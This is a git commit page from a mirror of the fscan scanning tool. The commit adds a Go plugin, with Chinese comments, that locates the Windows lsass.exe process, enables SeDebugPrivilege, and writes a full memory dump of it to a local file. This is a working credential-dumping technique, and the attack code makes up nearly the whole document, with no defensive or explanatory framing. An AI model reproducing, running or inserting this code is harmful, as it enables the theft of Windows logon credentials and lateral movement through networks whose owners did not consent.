mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-07-14 05:12:36 +08:00
feat: 增加MiniDump插件
This commit is contained in:
parent
907b92863e
commit
ef70395d7d
1
.gitignore
vendored
1
.gitignore
vendored
@ -1,3 +1,4 @@
|
||||
result.txt
|
||||
main
|
||||
.idea
|
||||
fscan.exe
|
||||
|
@ -230,4 +230,16 @@ func init() {
|
||||
Ports: []int{}, // 本地信息收集不需要端口
|
||||
ScanFunc: Plugins.LocalInfoScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("dcinfo", Common.ScanPlugin{
|
||||
Name: "DCInfo",
|
||||
Ports: []int{}, // 本地信息收集不需要端口
|
||||
ScanFunc: Plugins.DCInfoScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("minidump", Common.ScanPlugin{
|
||||
Name: "MiniDump",
|
||||
Ports: []int{}, // 本地信息收集不需要端口
|
||||
ScanFunc: Plugins.MiniDump,
|
||||
})
|
||||
}
|
||||
|
287
Plugins/MiniDump.go
Normal file
287
Plugins/MiniDump.go
Normal file
@ -0,0 +1,287 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
const (
|
||||
TH32CS_SNAPPROCESS = 0x00000002
|
||||
INVALID_HANDLE_VALUE = ^uintptr(0)
|
||||
MAX_PATH = 260
|
||||
|
||||
PROCESS_ALL_ACCESS = 0x1F0FFF
|
||||
SE_PRIVILEGE_ENABLED = 0x00000002
|
||||
|
||||
ERROR_SUCCESS = 0
|
||||
)
|
||||
|
||||
type PROCESSENTRY32 struct {
|
||||
dwSize uint32
|
||||
cntUsage uint32
|
||||
th32ProcessID uint32
|
||||
th32DefaultHeapID uintptr
|
||||
th32ModuleID uint32
|
||||
cntThreads uint32
|
||||
th32ParentProcessID uint32
|
||||
pcPriClassBase int32
|
||||
dwFlags uint32
|
||||
szExeFile [MAX_PATH]uint16
|
||||
}
|
||||
|
||||
type LUID struct {
|
||||
LowPart uint32
|
||||
HighPart int32
|
||||
}
|
||||
|
||||
type LUID_AND_ATTRIBUTES struct {
|
||||
Luid LUID
|
||||
Attributes uint32
|
||||
}
|
||||
|
||||
type TOKEN_PRIVILEGES struct {
|
||||
PrivilegeCount uint32
|
||||
Privileges [1]LUID_AND_ATTRIBUTES
|
||||
}
|
||||
|
||||
// ProcessManager 处理进程相关操作
|
||||
type ProcessManager struct {
|
||||
kernel32 *syscall.DLL
|
||||
dbghelp *syscall.DLL
|
||||
advapi32 *syscall.DLL
|
||||
}
|
||||
|
||||
// 创建新的进程管理器
|
||||
func NewProcessManager() (*ProcessManager, error) {
|
||||
kernel32, err := syscall.LoadDLL("kernel32.dll")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("加载 kernel32.dll 失败: %v", err)
|
||||
}
|
||||
|
||||
dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
|
||||
}
|
||||
|
||||
advapi32, err := syscall.LoadDLL("advapi32.dll")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("加载 advapi32.dll 失败: %v", err)
|
||||
}
|
||||
|
||||
return &ProcessManager{
|
||||
kernel32: kernel32,
|
||||
dbghelp: dbghelp,
|
||||
advapi32: advapi32,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) {
|
||||
proc := pm.kernel32.MustFindProc("CreateToolhelp32Snapshot")
|
||||
handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0)
|
||||
if handle == uintptr(INVALID_HANDLE_VALUE) {
|
||||
return 0, fmt.Errorf("创建进程快照失败: %v", err)
|
||||
}
|
||||
return handle, nil
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) {
|
||||
var pe32 PROCESSENTRY32
|
||||
pe32.dwSize = uint32(unsafe.Sizeof(pe32))
|
||||
|
||||
proc32First := pm.kernel32.MustFindProc("Process32FirstW")
|
||||
proc32Next := pm.kernel32.MustFindProc("Process32NextW")
|
||||
lstrcmpi := pm.kernel32.MustFindProc("lstrcmpiW")
|
||||
|
||||
ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
|
||||
if ret == 0 {
|
||||
return 0, fmt.Errorf("获取第一个进程失败")
|
||||
}
|
||||
|
||||
for {
|
||||
ret, _, _ = lstrcmpi.Call(
|
||||
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(name))),
|
||||
uintptr(unsafe.Pointer(&pe32.szExeFile[0])),
|
||||
)
|
||||
|
||||
if ret == 0 {
|
||||
return pe32.th32ProcessID, nil
|
||||
}
|
||||
|
||||
ret, _, _ = proc32Next.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
|
||||
if ret == 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return 0, fmt.Errorf("未找到进程: %s", name)
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) closeHandle(handle uintptr) {
|
||||
proc := pm.kernel32.MustFindProc("CloseHandle")
|
||||
proc.Call(handle)
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) ElevatePrivileges() error {
|
||||
handle, err := pm.getCurrentProcess()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var token syscall.Token
|
||||
err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token)
|
||||
if err != nil {
|
||||
return fmt.Errorf("打开进程令牌失败: %v", err)
|
||||
}
|
||||
defer token.Close()
|
||||
|
||||
var tokenPrivileges TOKEN_PRIVILEGES
|
||||
|
||||
lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW")
|
||||
ret, _, err := lookupPrivilegeValue.Call(
|
||||
0,
|
||||
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("SeDebugPrivilege"))),
|
||||
uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)),
|
||||
)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("查找特权值失败: %v", err)
|
||||
}
|
||||
|
||||
tokenPrivileges.PrivilegeCount = 1
|
||||
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
|
||||
|
||||
adjustTokenPrivileges := pm.advapi32.MustFindProc("AdjustTokenPrivileges")
|
||||
ret, _, err = adjustTokenPrivileges.Call(
|
||||
uintptr(token),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&tokenPrivileges)),
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("调整令牌特权失败: %v", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
|
||||
proc := pm.kernel32.MustFindProc("GetCurrentProcess")
|
||||
handle, _, _ := proc.Call()
|
||||
if handle == 0 {
|
||||
return 0, fmt.Errorf("获取当前进程句柄失败")
|
||||
}
|
||||
return syscall.Handle(handle), nil
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) DumpProcess(pid uint32, outputPath string) error {
|
||||
processHandle, err := pm.openProcess(pid)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer pm.closeHandle(processHandle)
|
||||
|
||||
fileHandle, err := pm.createDumpFile(outputPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer pm.closeHandle(fileHandle)
|
||||
|
||||
miniDumpWriteDump := pm.dbghelp.MustFindProc("MiniDumpWriteDump")
|
||||
ret, _, err := miniDumpWriteDump.Call(
|
||||
processHandle,
|
||||
uintptr(pid),
|
||||
fileHandle,
|
||||
0x00061907, // MiniDumpWithFullMemory
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("写入转储文件失败: %v", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
|
||||
proc := pm.kernel32.MustFindProc("OpenProcess")
|
||||
handle, _, err := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
|
||||
if handle == 0 {
|
||||
return 0, fmt.Errorf("打开进程失败: %v", err)
|
||||
}
|
||||
return handle, nil
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
|
||||
pathPtr, err := syscall.UTF16PtrFromString(path)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
createFile := pm.kernel32.MustFindProc("CreateFileW")
|
||||
handle, _, err := createFile.Call(
|
||||
uintptr(unsafe.Pointer(pathPtr)),
|
||||
syscall.GENERIC_WRITE,
|
||||
0,
|
||||
0,
|
||||
syscall.CREATE_ALWAYS,
|
||||
syscall.FILE_ATTRIBUTE_NORMAL,
|
||||
0,
|
||||
)
|
||||
|
||||
if handle == INVALID_HANDLE_VALUE {
|
||||
return 0, fmt.Errorf("创建文件失败: %v", err)
|
||||
}
|
||||
|
||||
return handle, nil
|
||||
}
|
||||
|
||||
// 查找目标进程
|
||||
func (pm *ProcessManager) FindProcess(name string) (uint32, error) {
|
||||
snapshot, err := pm.createProcessSnapshot()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
defer pm.closeHandle(snapshot)
|
||||
|
||||
return pm.findProcessInSnapshot(snapshot, name)
|
||||
}
|
||||
|
||||
func MiniDump(info *Common.HostInfo) (err error) {
|
||||
pm, err := NewProcessManager()
|
||||
if err != nil {
|
||||
log.Fatalf("初始化进程管理器失败: %v", err)
|
||||
}
|
||||
|
||||
// 查找 lsass.exe
|
||||
pid, err := pm.FindProcess("lsass.exe")
|
||||
if err != nil {
|
||||
log.Fatalf("查找进程失败: %v", err)
|
||||
}
|
||||
fmt.Printf("找到进程 lsass.exe, PID: %d\n", pid)
|
||||
|
||||
// 提升权限
|
||||
if err := pm.ElevatePrivileges(); err != nil {
|
||||
log.Fatalf("提升权限失败: %v", err)
|
||||
}
|
||||
fmt.Println("成功提升进程权限")
|
||||
|
||||
// 创建输出路径
|
||||
outputPath := filepath.Join(".", fmt.Sprintf("fscan-%d.dmp", pid))
|
||||
|
||||
// 执行转储
|
||||
if err := pm.DumpProcess(pid, outputPath); err != nil {
|
||||
log.Fatalf("进程转储失败: %v", err)
|
||||
os.Remove(outputPath)
|
||||
}
|
||||
|
||||
fmt.Printf("成功将进程内存转储到文件: %s\n", outputPath)
|
||||
return nil
|
||||
}
|
Loading…
Reference in New Issue
Block a user